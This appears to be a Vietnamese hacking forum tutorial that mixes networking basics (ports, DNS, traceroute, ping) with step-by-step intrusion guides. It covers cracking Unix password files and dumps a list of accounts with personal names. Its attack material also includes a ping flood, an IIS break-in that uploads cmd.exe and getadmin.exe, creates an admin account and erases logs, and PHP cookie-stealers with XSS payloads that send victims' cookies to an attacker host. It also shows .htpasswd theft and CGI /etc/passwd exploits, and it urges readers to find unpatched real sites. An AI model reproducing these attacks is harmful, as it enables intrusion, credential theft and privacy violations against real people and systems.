Demo----------------------------------------------- Demo
Guest---------------------------------------------- Guest


11 . ) shell account là cái gì ?

_ Một shell account cho phép bạn sử dụng máy tính ở nhà bạn như thiết bị đầu cuốI ( terminal ) mà vớI nó bạn có thể đánh lệnh đến một máy tính đang chạy Unix , “Shell” là chương trình có nhiệm vụ dịch những ký tự của bạn gửi đến rồI đưa vào thực hiện lệnh của chương trình Unix . VớI một shell account chính xác bạn có thể sử dụng được một trạm làm việc mạnh hơn nhiều so vớI cái mà bạn có thể tưởng tượng đến được .
Bạn có thể lấy được “shell account” miễn phí tạI trang Web www.freeshell.com tuy nhiên bạn sẽ không sử dụng được “telnet” cho đến khi bạn trả tiền cho nó .

12 . ) Làm cách nào để bạn có thể crack Unix account passwords ?

_ Rất đơn giản , tuy nhiên cách mà tôi nói vớI các bạn ở đây “lạc hậu” rồI , các bạn có thể crack được chúng nếu các bạn may mắn , còn không thì các bạn đọc để tham khảo .
_ Đầu tiên bạn hãy đăng nhập vào hệ thống có sử dụng Unix như một khách hàng hoặc một ngườI khách ghé thăm , nếu may mắn bạn sẽ lấy được mật khẩu được cất dấu trong những hệ thống chuẩn như :

/etc/passwd

mỗi hàng trong một hồ sơ passwd có một tài khoản khác nhau , nó giống như hàng này :

userid:password:userid#:groupid#:GECOS field:home dir:shell

trong đó :
+ userid = the user id name : tên đăng nhập : có thể là một tên hoặc một số .
+ password : mật mã . Dùng để làm gì hẳn các bạn cũng biết rồI .
+ userid# : là một số duy nhất đựơc thông báo cho ngườI đăng ký khi họ đăng ký mớI ở lần đầu tiên .
+ groupid# : tương tự như userid# , nhưng nó được dùng cho những ngườI đang ở trong nhóm nào đó ( như nhóm Hunter Buq của HVA chẳng hạn )
+ GECOS FIELD : đây là nơi chứa thông tin cho ngườI sử dụng , trong đó có họ tên đầy đủ , số điện thoại , địa chỉ v.v…. . Đây cũng là nguồn tốt để ta dễ dàng crack một mật khẩu .
+ home dir : là thư mục ghi lạI hoạt động của người khách khi họ ghé thăm ( giống như mục History trong IE vậy )
+ Shell : đây là tên của shell mà nó tự động bắt đầu khi ta login .
_ Hãy lấy file password , lấy file text đã mã hoá về , sau đó bạn dùng chương trình ``CrackerJack`` hoặc ``John the Ripper`` để crack .
_ Các bạn thấy cũng khá dễ phảI không ? Sai bét , không dễ dàng và may mắn để bạn có thể crack được vì hầu hết bây giờ họ cất rất kỹ , hãy đọc tiếp bạn sẽ thấy khó khăn chỗ nào .

13 . ) shadowed password là cái gì ?

_ Một shadowed password được biết đến là trong file Unix passwd , khi bạn nhập một mật khẩu , thì ngườI khác chỉ thấy được trình đơn của nó ( như ký hiệu “ X ” hoặc “ * ” ) . Cái này thông báo cho bạn biết là file passwd đã được cất giữ ở nơi khác , nơi mà một ngườI sử dụng bình thường không thể đến được . Không lẽ ta đành bó tay , dĩ nhiên là đốI vớI một hacker thì không rùi , ta không đến được trực tiếp file shadowed password thì ta hãy tìm file sao lưu của nó , đó là file Unshadowed .
Những file này trên hệ thống của Unix không cố định , bạn hãy thử vớI lần lượt những đường dẫn sau :

CODE
AIX 3 /etc/security/passwd !
or /tcb/auth/files/ /
A/UX 3.0s /tcb/files/auth/?/ *
BSD4.3-Reno /etc/master.passwd *
ConvexOS 10 /etc/shadpw *
ConvexOS 11 /etc/shadow *
DG/UX /etc/tcb/aa/user/ *
EP/IX /etc/shadow x
HP-UX /.secure/etc/passwd *
IRIX 5 /etc/shadow x
Linux 1.1 /etc/shadow *
OSF/1 /etc/passwd[.dir|.pag] *
SCO Unix #.2.x /tcb/auth/files/ /
SunOS4.1+c2 /etc/security/passwd.adjunct =##username
SunOS 5.0 /etc/shadow
maps/tables/whatever >
System V Release 4.0 /etc/shadow x
System V Release 4.2 /etc/security/* database
Ultrix 4 /etc/auth[.dir|.pag] *
UNICOS /etc/udb =20


Trước dấu “ / ”đầu tiên của một hàng là tên của hệ thống tương ứng , hãy căn cứ vào hệ thông thật sự bạn muốn lấy rồI lần theo đường dẫn phía sau dấu “/”đầu tiên .
Và cuốI cùng là những account passwd mà tôi từng crack được , có thể bây giờ nó đã hết hiệu lực rồI :

CODE
arif:x:1569:1000:Nguyen Anh Chau:/udd/arif:/bin/ksh
arigo:x:1570:1000:Ryan Randolph:/udd/arigo:/bin/ksh
aristo:x:1573:1000:To Minh Phuong:/udd/aristo:/bin/ksh
armando:x:1577:1000:Armando Huis:/udd/armando:/bin/ksh
arn:x:1582:1000:Arn mett:/udd/arn:/bin/ksh
arne:x:1583:1000:Pham Quoc Tuan:/udd/arne:/bin/ksh
aroon:x:1585:1000:Aroon Thakral:/udd/aroon:/bin/ksh
arozine:x:1586:1000: Mogielnicki:/udd/arozine:/bin/bash
arranw:x:1588:1000:Arran Whitaker:/udd/arranw:/bin/ksh


Để bảo đảm sự bí mật nên pass của họ tôi xoá đi và để vào đó là ký hiệu “ x ” , các bạn hãy tìm hiểu thông tin có được từ chúng xem

Vitual port ( cổng ảo ) là 1 số tự nhiên đựợc gói ở trong TCP(Tranmission Control Protocol) và UDP(User Diagram Protocol) header. Như mọi nguòi đã biết, Windows có thể chạy nhiều chương trình 1 lúc, mỗi chương trình này có 1 cổng riêng dùng để truyền và nhận dữ liệu.

Ví dụ 1 máy có địa chỉ IP là 127.0.0.1 chạy WebServer, FTP_Server, POP3 server, etc, những dịch vụ này đều đuọc chạy trên 1 IP address là 127.0.0.1, khi một gói tin đuọc gửi đến làm thế nào máy tính của chúng ta phân biệt được gói tin này đi vào dịch vụ nào WebServer hay FTP server hay SM! TP? Chính vì thế Port xuất hiện. Mỗi dịch vụ có 1 số port mặc định, ví dụ FTP có port mặc định là 21, web service có port mặc định là 80, POP3 là 110, SMTP là 25 vân vân....

Người quản trị mạng có thể thay đổi số port mặc định này, nếu bạn ko biết số port trên một máy chủ, bạn ko thể kết nối vào dịch vụ đó được. Chắc bạn đã từng nghe nói đến PORT MAPPING nhưng có lẽ chưa biết nó là gì và chức năng thế nào. Port mapping thực ra đơn giản chỉ là quá trình chuyển đổi số port mặc định của một dịch vụ nào đó đến 1 số khác. Ví dụ Port mặc định của WebServer là 80, nhưng thỉnh thoảng có lẽ bạn vẫn thấy http://www.xxx.com:8080 , 8080 ở đây chính là số port của host xxx nhưng đã đuợc nguòi quản trị của host này ``map`` từ 80 thành 8080.

( Tài liệu của HVA )

15 . ) DNS là gì ?

_ DNS là viết tắt của Domain Name System. Một máy chủ DNS đợi kết nối ở cổng số 53, có nghĩa là nếu bạn muốn kết nối vào máy chủ đó, bạn phải kết nối đến cổng số 53. Máy chủ chạy DNS chuyển hostname bằng các chữ cái thành các chữ số tương ứng và ngược lại. Ví dụ: 127.0.0.1 -- > localhost và localhost--- > 127.0.0.1 .

( Tài liệu của HVA )

16 . ) Đôi điều về Wingate :

_ WinGate là một chương trình đơn giản cho phép bạn chia các kết nối ra. Thí dụ: bạn có thể chia sẻ 1 modem với 2 hoặc nhiều máy . WinGate dùng với nhiều proxy khác nhau có thể che giấu bạn .
_ Làm sao để Wingate có thể che dấu bạn ? Hãy làm theo tôi : Bạn hãy telnet trên cổng 23 trên máy chủ chạy WinGate telnet proxy và bạn sẽ có dấu nhắc WinGate > . Tại dấu nhắc này bạn đánh vào tên server, cùng một khoảng trống và cổng bạn muốn kết nối vào. VD :

CODE
telnet wingate.net
WinGate > victim.com 23


ta telnet đến cổng 23 vì đây là cổng mặc định khi bạn cài Wingate . lúc này IP trên máy mà victim chộp được của ta là IP của máy chủ chứa Wingate proxy đó .
_ Làm sao để tìm Wingate ?
+ Nếu bạn muốn tìm IP WinGates tĩnh (IP không đổi) thì đến yahoo hay một trang tìm kiếm cable modem. Tìm kiếm cable modems vì nhiều người dùng cable modems có WinGate để họ có thể chia sẻ đường truyền rộng của nó cable modems cho những máy khác trong cùng một nhà . Hoặc bạn có thể dùng Port hay Domain scanners và scan Port 1080 .
+ Để tìm IP động (IP thay đổi mỗi lần user kết nối vào internet) của WinGates bạn có thể dùng Domscan hoặc các chương trình quét khác . Nếu dùng Domscan bạn hãy nhập khoảng IP bất kỳ vào box đầu tiên và số 23 vào box thứ 2 . Khi đã có kết quả , bạn hãy thử lần lượt telnet đến các địa chỉ IP tìm đựơc ( đã hướng dẫn ở trên ), nếu nó xuất hiện dấu “Wingate > ” thì bạn đã tìm đúng máy đang sử dụng Wingate rồI đó .
+ Theo kinh nghiệm của tôi thì bạn hãy down wingatescanner về mà sài , nó có rất nhièu trên mạng .

17 . ) Đôi điều về Traceroute :

_ Traceroute là một chương trình cho phép bạn xác định được đường đi của các gói packets từ máy bạn đến hệ thống đích trên mạng Internet.
_ bạn hãy xem VD sau :

CODE
C:\windows > tracert 203.94.12.54

Tracing route to 203.94.12.54 over a maximum of 30 hops

1 abc.netzero.com (232.61.41.251) 2 ms 1 ms 1 ms
2 xyz.Netzero.com (232.61.41.0) 5 ms 5 ms 5 ms
3 232.61.41.10 (232.61.41.251) 9 ms 11 ms 13 ms
4 we21.spectranet.com (196.01.83.12) 535 ms 549 ms 513 ms
5 isp.net.ny (196.23.0.0) 562 ms 596 ms 600 ms
6 196.23.0.25 (196.23.0.25) 1195 ms1204 ms
7 backbone.isp.ny (198.87.12.11) 1208 ms1216 ms1233 ms
8 asianet.com (202.12.32.10) 1210 ms1239 ms1211 ms
9 south.asinet.com (202.10.10.10) 1069 ms1087 ms1122 ms
10 backbone.vsnl.net.in (203.98.46.01) 1064 ms1109 ms1061 ms
11 newdelhi-01.backbone.vsnl.net.in (203.102.46.01) 1185 ms1146 ms1203 ms
12 newdelhi-00.backbone.vsnl.net.in (203.102.46.02) ms1159 ms1073 ms
13 mtnl.net.in (203.194.56.00) 1052 ms 642 ms 658 ms


Tôi cần biết đường đi từ máy tôi đến một host trên mạng Internet có địa chỉ ip là 203.94.12.54. Tôi cần phải tracert đến nó! Như bạn thấy ở trên, các gói packets từ máy tôi muốn đến được 203.94.12.54 phải đi qua 13 hops(mắc xích) trên mạng. Đây là đưòng đi của các gói packets .
_ Bạn hãy xem VD tiếp theo :

CODE
host2 # traceroute xyz.com

traceroute to xyz.com (202.xx.12.34), 30 hops max, 40 byte packets
1 isp.net (202.xy.34.12) 20ms 10ms 10ms
2 xyz.com (202.xx.12.34) 130ms 130ms 130ms


+ Dòng đầu tiên cho biết hostname và địa chỉ IP của hệ thống đích. Dòng này còn cho chúng ta biết thêm giá trị TTL<=30 và kích thước của datagram là 40 bytes(20-bytes IP Header + 8-bytes UDP Header + 12-bytes user data).
+ Dòng thứ 2 cho biết router đầu tiên nhận được datagram là 202.xy.34.12, giá trị của TTL khi gởi đến router này là 1. Router này sẽ gởi trở lại cho chương trình traceroute một ICMP message error ``Time Exceeded``. Traceroute sẽ gởi tiếp một datagram đến hệ thống đích.
+ Dòng thứ 3, xyz.com(202.xx.12.34) nhận được datagram có TTL=1(router thứ nhất đã giảm một trước đó - TTL=2-1=1). Tuy nhiên, xyz.com không phải là một router, nó sẽ gởi trở lại cho traceroute một ICMP error message ``Port Unreachable``. Khi nhận được ICMP message này, traceroute sẽ biết được đã đến được hệ thống đích xyz.com và kết thúc nhiệm vụ tại đây.
+ Trong trường hợp router không trả lời sau 5 giây, traceroute sẽ in ra một dấu sao ``*``(không biết) và tiếp tục gởi datagram khác đến host đích!
_Chú ý:
Trong windows: tracert hostname
Trong unix: traceroute hostname

( Tài liệu của viethacker.net )

18 . ) Ping và cách sử dụng :

_ Ping là 1 khái niệm rât đơn giản tuy nhiên rất hữu ích cho việc chẩn đoán mạng. Tiểu sử của từ ``ping`` như sau: Ping là tiếng động vang ra khi 1 tàu ngầm muốn biết có 1 vật thể khác ở gần mình hay ko, nếu có 1 vật thể nào đó gần tàu ngầm tiếng sóng âm này sẽ va vào vật thể đó và tiếng vang lại sẽ là ``pong`` vậy thì tàu ngầm đó sẽ biết là có gì gần mình.
_Trên Internet, khái niệm Ping cũng rất giống với tiểu sử của nó như đã đề cập ở trên. Lệnh Ping gửi một gói ICMP (Internet Control Message Protocol) đến host, nếu host đó ``pong`` lại có nghĩa là host đó tồn tại (hoặc là có thể với tới đựoc). Ping cũng có thể giúp chúng ta biêt được luợng thời gian một gói tin (data packet) đi từ máy tính của mình đến 1 host nào đó.
_Ping thật dễ dàng, chỉ cần mở MS-DOS, và gõ ``ping địa_chỉ_ip``, mặc định sẽ ping 4 lần, nhưng bạn cũng có thể gõ

CODE
``ping ip.address -t``


Cách này sẽ làm máy ping mãi. Để thay đổi kích thước ping làm như sau:

CODE
``ping -l (size) địa_chỉ_ip ``


Cái ping làm là gửi một gói tin đến một máy tính, sau đó xem xem mất bao lâu gói tin rồi xem xem sau bao lâu gói tin đó quay trở lại, cách này xác định được tốc độ của kết nối, và thời gian cần để một gói tin đi và quay trở lại và chia bốn (gọi là ``trip time``). Ping cũng có thể được dùng để làm chậm đi hoặc đổ vỡ hệ thống bằng lụt ping. Windows 98 treo sau một phút lụt ping (Bộ đệm của kết nối bị tràn – có qua nhiều kết nối, nên Windows quyết định cho nó đi nghỉ một chút). Một cuộc tấn công “ping flood” sẽ chiếm rất nhiều băng thông của bạn, và bạn phải có băng thông lớn hơn đối phương ( trừ khi đối phương là một máy chạy Windows 98 và bạn có một modem trung bình, bằng cách đó bạn sẽ hạ gục đối phương sau xấp xỉ một phút lụt ping). Lụt Ping không hiệu quả lắm đổi với những đối phương mạnh hơn một chút. trừ khi bạn có nhiều đường và bạn kiểm soát một số lượng tương đối các máy chủ cùng ping mà tổng băng thông lơn hơn đối phương.
Chú ý: option –t của DOS không gây ra lụt ping, nó chỉ ping mục tiêu một cách liên tục, với những khoảng ngắt quãng giữa hai lần ping liên tiếp. Trong tất cả các hệ Unix hoặc Linux, bạn có thể dùng ping -f để gây ra lụt thực sự. Thực tế là phải ping -f nếu bạn dùng một bản tương thích POSIX (POSIX - Portable Operating System Interface dựa trên uniX), nếu không nó sẽ không phải là một bản Unix/Linux thực sự, bởi vậy nếu bạn dùng một hệ điều hành mà nó tự cho nó là Unix hay Linux, nó sẽ có tham số -f.

( Tài liệu của HVA và viethacker.net )

19 . ) Kỹ thuật xâm nhập Window NT từ mạng Internet :

_ Đây là bài học hack đầu tiên mà tôi thực hành khi bắt đầu nghiên cứu về hack , bây giờ tôi sẽ bày lại cho các bạn . bạn sẽ cần phảI có một số thờI gian để thực hiện được nó vì nó tuy dễ nhưng khó . Ta sẽ bắt đầu :
_ Đầu tiên bạn cần tìm một server chạy IIS :
_ Tiếp đến bạn vào DOS và đánh ` FTP `. VD :

c:\Ftp www.dodgyinc.com

( trang naỳ khi tôi thực hành thì vẫn còn làm được , bây giờ không biết họ đã fix chưa , nếu bạn nào có trang nào khác thì hãy post lên cho mọI ngườI cùng làm nhé )
Nếu connect thành công , bạn sẽ thấy một số dòng tương tự như thế này :

CODE
Connected to www.dodgyinc.com.
220 Vdodgy Microsoft FTP Service (Version 3.0).
User (www.dodgyinc.com:(none)):


Cái mà ta thấy ở trên có chứa những thông tin rất quan trọng , nó cho ta biết tên Netbios của máy tính là “ Vdodgy ” . Từ điều này bạn có thể suy diễn ra tên mà được sử dụng cho NT để cho phép ta có thể khai thác , mặc định mà dịch vụ FTP gán cho nó nếu nó chưa đổi tên sẽ là “IUSR_VDODGY” . Hãy nhớ lấy vì nó sẽ có ích cho ta . Nhập ``anonymous” trong user nó sẽ xuất hiện dòng sau :

CODE
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:


Bây giờ passwd sẽ là bất cứ gì mà ta chưa biết , tuy nhiên , bạn hãy thử đánh vào passwd là “anonymous” . Nếu nó sai , bạn hãy log in lạI thiết bị FTP , bạn hãy nhớ là khi ta quay lạI lần này thì không sử dụng cách mạo danh nữa ( anonymous ) mà sử dụng “`Guest” , thử lại passwd với “guest” xem thế nào .
Bây giờ bạn hãy đánh lệnh trong DOS :

CODE
Cd /c


Và sẽ nhìn thấy kết quả nếu như bạn đã xâm nhập thành công , bây giờ bạn hãy nhanh chóng tìm thư mục `cgi-bin` . Nếu như bạn may mắn , bạn sẽ tìm được dễ dàng vì thông thường hệ thống quản lý đã đặt `cgi-bin` vào nơi mà ta vừa xâm nhập để cho các ngườI quản lý họ dễ dàng điều khiển mạng hơn . thư mục cgi-bin có thể chứa các chương trình mà bạn có thể lợi dụng nó để chạy từ trình duyệt Web của bạn . Ta hãy bắt đầu “quậy” nào greenbiggrin.gif greenbiggrin.gif .
_ Đầu tiên , bạn hãy chuyển tớ thư mục cgi-bin và sử dụng lệnh “Binary” ( có thể các bạn không cần dùng lệnh này ) , sau đó bạn dánh tiếp lệnh “put cmd.exe” . Tiếp theo là bạn cần có file hack để cài vào thư mục này , hãy tìm trên mạng để lấy 2 file quan trọng nhất đó là `getadmin.exe` và `gasys.dll` . Download chúng xuống , một khi bạn đã có nó hãy cài vào trong thư mục cgi-bin . Ok , coi như mọI việc đã xong , bạn hãy đóng cửa sổ DOS .
Bây giờ bạn hãy đánh địa chỉ sau lên trình duyệt của bạn :

http://www.dodgyinc.com/cgi-bin/ge tadmin.exe?IUSR_VDODGY

Sau vài giây bạn sẽ có được câu trả lời như ở dướI đây :

CODE
CGI Error
The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are:
Congratulations , now account IUSR_VDODGY have administrator rights!


Thế là bạn đã mạo danh admin để xâm nhập hệ thống , việc cần thiết bây giờ là bạn hãy tự tạo cho mình một account , hãy đánh dòng sau trên IE :

http://www.dodgyinc.com/cgi- bin/cmd.exe?/c%20c:\winnt\system32\net.exe%20user%2 0hacker%20toilahacker%20/add

dòng lệnh trên sẽ tạo cho bạn một account login với user : anhdenday và passwd : toilahackerBây giờ bạn hãy là cho user này có account của admin , bạn chỉ cần đánh lên IE lệnh :

http://www.dodgyinc.com/cgi-bin/ge tadmin.exe?anhdenday

Vậy là xong rùi đó , bạn hãy disconnect và đến start menu - > find rồi search computer `www.dodgyinc.com`. Khi tìm thấy , bạn vào explore , explore NT sẽ mở ra bạn hay nhập user và passwd để mở nó ( của tôi là user : anhdenday và passwd : toilahacker ) .

Có một vấn đề là khi bạn xâm nhập hệ thống này thì sẽ bị ghi lại , do đó để xoá dấu vết bạn hãy vào `Winnt\system32\logfiles` mở file log đó rồI xoá những thông tin liên quan đến bạn , rồI save chúng . Nếu bạn muốn lấy một thông báo gì về việc chia sẽ sự xâm nhập thì bạn hãy thay đổi ngày tháng trên máy tính vớI URL sau :

http://www.dodgyinc.com/cgi-bin/cm d.exe?/c%20date%2030/04/03

xong rồI bạn hãy xoá file `getadmin.exe`, và `gasys.dll` từ `cgi-bin` . Mục đích khi ta xâm nhập hệ thống này là “chôm” pass của admin để lần sau xâm nhập một cách hợp lệ , do đó bạn hãy tìm file SAM ( chứa pass của admin và member ) trong hệ thống rồI dùng chương trình “l0pht crack” để crack pass ( Hướng dẫn về cách sử dụng “l0pht crack v 3.02” tôi đã post lên rồi ,các bạn hãy tự nghiên cứu nhé ) . Đây là link : http://vnhacker.org/forum/?act=ST& f=6&t=11566&s=
Khi crack xong các bạn đã có user và pass của admin rồI , bây giờ hãy xoá account của user ( của tôi là “anhdenday” ) đi cho an toàn . Bạn đã có thể làm gì trong hệ thống là tuỳ thích , nhưng các bạn đừng xoá hết tài liệu của họ nhé , tội cho họ lắm .
Bạn cảm thấy thế nào , rắc rối lắm phải không . Lúc tôi thử hack cách này , tôi đã mày mò mất cả 4 giờ , nếu như bạn đã quen thì lần thứ 2 bạn sẽ mất ít thờI gian hơn .

Ở phần 3 tôi sẽ đề cập đến HĐH Linux , đến cách ngắt mật khẩu bảo vệ của một Web site , và làm thế nào để hack một trang web đơn giản nhất .v.v…

Cookie là gì ?

Cookie là những phần dữ liệu nhỏ có cấu trúc được chia sẻ giữa web site và browser của người dùng. cookies được lưu trữ dưới những file dữ liệu nhỏ dạng text (size dưới 4k). Chúng được các site tạo ra để lưu trữ/truy tìm/nhận biết các thông tin về người dùng đã ghé thăm site và những vùng mà họ đi qua trong site.

Những thông tin này có thể bao gồm tên/định danh người dùng, mật khẩu, sở thích, thói quen...Cookie được browser của người dùng chấp nhận lưu trên đĩa cứng của máy mình, ko phải browser nào cũng hỗ trợ cookie. Sau một lần truy cập vào site, những thông tin về người dùng được lưu trữ trong cookie. Ở những lần truy cập sau đến site đó, web site có thể dùng lại những thông tin trong cookie (như thông tin liên quan đến việc đăng nhập vào 1 forum...) mà người ko phải làm lại thao tác đăng nhập hay phải nhập lại các thông tin khác. Vấn đề đặt ra là có nhiều site quản lý việc dùng lại các thông tin lưu trong cookie ko chính xác, kiểm tra ko đầy đủ hoặc mã hoá các thông tin trong cookie còn sơ hở giúp cho hacker khai thác để vượt qua cánh cửa đăng nhập, đoạt quyền điêu khiển site .

_ Cookies thường có các thành phần sau :

+ Tên: do người lập trình web site chọn
+ Domain: là tên miền từ server mà cookie được tạo và gửi đi
+ Đường dẫn: thông tin về đường dẫn ở web site mà bạn đang xem
+ Ngày hết hạn: là thời điểm mà cookie hết hiệu lực .
+ Bảo mật: Nếu giá trị này đựơc thiết lập bên trong cookie, thông tin sẽ đựơc mã hoá trong quá trình truyền giữa server và browser.
+ Các giá trị khác: là những dữ liệu đặc trưng được web server lưu trữ để nhận dạng về sau các giá trị này ko chứa các khoảng trắng, dấu chấm, phẩy và bị giới hạn trong khoảng 4k.

( Tài liệu của Viethacker.net )

21 . ) Kỹ thuật lấy cắp cookie của nạn nhân :

_ Trước hết , các bạn hãy mở notepad rồi chép đoạn mã sau vào notepad đó :

CODE
<?php
define (``LINE``, ``\r\n``);
define (``HTML_LINE``, ``
``);
function getvars($arr, $title)
{
$res = ````;
$len = count($arr);
if ($len > 0)
{
if (strlen($title) > 0)
{
print(``[--------$title--------]`` . HTML_LINE);
$res .= ``[--------$title--------]`` . LINE;
}
foreach ($arr as $key = > $value)
{
print(``[$key]`` . HTML_LINE);
print($arr[$key] . HTML_LINE);
$res .= ``[$key]`` . LINE . $arr[$key] . LINE;
}
}
return $res;
}
// get current date
$now = date(``Y-m-d H:i:s``);
// init
$myData = ``[-----$now-----]`` . LINE;
// get
$myData .= getvars($HTTP_GET_VARS, ````);
// file
$file = $REMOTE_ADDR . ``.txt``;
$mode = ``r+``;
if (!file_exists($file))
$mode = ``w+``;
$fp = fopen ($file, $mode);
fseek($fp, 0, SEEK_END);
fwrite($fp, $myData);
fclose($fp);
? >


hoặc

CODE
<?php
if ($contents && $header){
mail(``victim@yahoo.com`` , ``from mail script``,$contents,$header) or
die(`couldnt email it`);
sleep(2);
? >
<script language=javascript >


<?php
} else {
echo ``nope``;
}


(Bạn hãy sửa cái victim@yahoo.com thành địa chỉ Mail của bạn ) .

Bạn hãy save cái notepad này với tên “< tên tuỳ các bạn > .php ” ( Nhớ là phải có .php ) rồi upload lên một host nào đó có hỗ trợ PHP , trong VD của tôi là abc.php .( Đối với các bạn đã từng làm Web chắc sẽ rất dễ phảI không ? ) . Đoạn mã này sẽ có nhiệm vụ ăn cắp thông tin (và có khi có cả cookie ) của nạn nhân khi họ mở dữ liệu có chứa đoạn mã này rồI tự động save thông tin đó thành file < ip của nạn nhân > .txt .
_ Còn một cách nữa để lấy cookie đựơc sử dụng trên các forum bị lỗi nhưng chưa fix , khi post bài bạn chi cần thêm đoạn mã sau vào bài của mình :

CODE
document.write(` `)


với host_php : là địa chỉ bạn đã upload file ăn cắp cookie đó lên .
và abc.php là file VD của tôi .
_ Ví dụ : khi áp dụng trong tag img, ta dùng như sau:

CODE
`)\">


hoặc:

[CODE
img]javascript: Document.write(`&#x3cimg src=http://host_php/docs.php?docs=`+escape(document .cookie)+`&#x3e`)\">


_ Bạn có thể tìm những trang web để thực hành thử cách trong VD này bằng cách vào google.com tìm những forum bị lỗi này bằng từ khoá ``Powered by …….. forum” với những forum sau : ikonboard, Ultimate Bulletin Board , vBulletin Board, Snitz . Nếu các bạn may mắn các bạn có thể tìm thấy những forum chưa fix lỗi này mà thực hành , ai tìm được thì chia sẽ với mọi người nhé .
_ Còn nhiều đoạn mã ăn cắp cookie cũng hay lắm , các bạn hãy tự mình tìm thêm .

22 . ) Cách ngắt mật khẩu bảo vệ Website :

_ Khi các bạn tới tìm kiếm thông tin trên một trang Web nào đó , có một số chỗ trên trang Web đó khi bạn vào sẽ bị chặn lại và sẽ xuất hiện một box yêu cầu nhập mật khẩu , đây chính là khu vực riêng tư cất dấu những thông tin mật chỉ dành cho số người hoặc một nhóm người nào đó ( Nơi cất đồ nghề hack của viethacker.net mà báo e-chip đã nói tới chẳng hạn ) . Khi ta click vào cái link đó thì ( thông thường ) nó sẽ gọi tới .htpasswd và .htaccess nằm ở cùng trong thư mục bảo vệ trang Web . Tại sao phải dùng dấu chấm ở trước trong tên file `.htaccess`? Các file có tên bắt đầu là một dấu chấm `.` sẽ được các web servers xem như là các file cấu hình. Các file này sẽ bị ẩn đi (hidden) khi bạn xem qua thư mục đã được bảo vệ bằng file .htaccess .Hai hồ sơ này có nhiệm vụ điều khiển sự truy nhập tới cái link an toàn mà bạn muốn xâm nhập đó . Một cái quản lý mật khẩu và user name , một cái quản lý công việc mã hoá những thông tin cho file kia . Khi bạn nhập đúng cả 2 thì cái link đó mới mở ra . Bạn hãy nhìn VD sau :

CODE
Graham:F#.DG*m38d%RF
Webmaster:GJA54j.3g9#$@f


Username bạn có thể đọc được rùi , còn cái pass bạn nhìn có hiểu mô tê gì không ? Dĩ nhiên là không rồi . bạn có hiểu vì sao không mà bạn không thể đọc được chúng không ? cái này nó có sự can thiệp của thằng file .htaccess . Do khi cùng ở trong cùng thư mục chúng có tác động qua lại để bảo vệ lẫn nhau nên chúng ta cũng không dại gì mà cố gắng đột nhập rồi crack mớ mật khẩu chết tiệt đó ( khi chưa có đồ nghề crack mật khẩu trong tay . Tôi cũng đang nghiên cứu để có thể xâm nhập trực tiếp , nếu thành công tôi sẽ post lên cho các bạn ) . Lỗi là ở đây , chuyện gì sẽ xảy ra nếu cái .htpasswd nằm ngoài thư mục bảo vệ có file .htaccess ? Ta sẽ chôm được nó dễ dàng , bạn hãy xem link VD sau :

http://www.company.com/cgi-bin/pro tected/


hãy kiểm tra xem file .htpasswd có được bảo vệ bởI .htaccess hay không , ta nhập URL sau :

http://www.company.com/cgi-bin/pro tected/.htpasswd

Nếu bạn thấy có câu trả lờI `File not found` hoặc tương tự thì chắc chắn file này đã không được bảo vệ , bạn hãy tìm ra nó bằng một trong các URL sau :

http://www.company.com/.htpasswd</ a>
http://www.company.com/cgi-bin/.ht passwd
http://www.company.com/cgi-bin/pas swords/.htpasswd
http://www.company.com/cgi-bin/pas swd/.htpasswd

nếu vẫn không thấy thì các bạn hãy cố tìm bằng các URL khác tương tự ( có thể nó nằm ngay ở thư mục gốc đấy ) , cho đến khi nào các bạn tìm thấy thì thôi nhé .
Khi tìm thấy file này rồi , bạn hãy dùng chương trình ``John the ripper`` hoặc ``Crackerjack``, để crack passwd cất trong đó . Công việc tiếp theo hẳn các bạn đã biết là mình phải làm gì rồI , lấy user name và passwd hợp lệ đột nhập vào rùi xem thử mấy cô cậu “tâm sự” những gì trong đó , nhưng các bạn cũng đừng có đổi pass của họ hay quậy họ nhé .
Cách này các bạn cũng có thể áp dụng để lấy pass của admin vì hầu hết những thành viên trong nhóm kín đều là “có chức có quyền” cả .

23 . ) Tìm hiểu về CGI ?

_ CGI là từ viết tắt của Common Gateway Interface , đa số các Website đều đang sử dụng chương trình CGI ( được gọI là CGI script ) để thực hiện những công việc cần thiết 24 giờ hằng ngày . Những nguyên bản CGI script thực chất là những chương trình được viết và được upload lên trang Web vớI những ngôn ngữ chủ yếu là Perl , C , C++ , Vbscript trong đó Perl được ưa chuộng nhất vì sự dễ dàng trong việc viết chương trình ,chiếm một dung lượng ít và nhất là nó có thể chạy liên tục trong 24 giờ trong ngày .
_ Thông thường , CGI script được cất trong thư mục /cgi-bin/ trên trang Web như VD sau :

http://www.company.com/cgi-bin/log in.cgi


với những công việc cụ thể như :
+ Tạo ra chương trình đếm số người đã ghé thăm .
+ Cho phép những ngườI khách làm những gì và không thể làm những gì trên Website của bạn .
+ Quản lý user name và passwd của thành viên .
+ Cung cấp dịch vụ Mail .
+ Cung cấp những trang liên kết và thực hiện tin nhắn qua lại giữa các thành viên .
+ Cung cấp những thông báo lỗi chi tiết .v.v…..

24 . ) Cách hack Web cơ bản nhất thông qua CGI script :

_ Lỗi thứ 1 : lỗi nph-test-cgi

+ Đánh tên trang Web bị lỗi vào trong trình duyệt của bạn .
+ Đánh dòng sau vào cuốI cùng : /cgi-bin/nph-test-cgi
+ Lúc đó trên URL bạn sẽ nhìn giống như thế này :

http://www.servername.com/cgi-bin/ nph-test-cgi

+ Nếu thành công bạn sẽ thấy các thư mục được cất bên trong . Để xem thư mục nào bạn đánh tiếp :

CODE
? /*


+ file chứa passwd thường được cất trong thư mục /etc , bạn hãy đánh trên URL dòng sau :

http://www.servername.com/cgi-bin/ nph-test-cgi?/etc/*

_ Lỗi thứ 2 : lỗi php.cgi

+ Tương tự trên bạn chỉ cần đánh trên URL dòng sau để lấy pass :

http://www.servername.com/cgi-bin/ php.cgi?/etc/passwd

Quan trọng là đây là những lỗi đã cũ nên việc tìm các trang Web để các bạn thực hành rất khó , các bạn hãy vào trang google.com rồi đánh từ khoá :

/cgi-bin/php.cgi?/etc/passwd]
hoặc cgi-bin/nph-test-cgi?/etc

sau đó các bạn hãy tìm trên đó xem thử trang nào chưa fix lỗi để thực hành nhé .

25 . ) Kỹ thuật xâm nhập máy tính đang online :

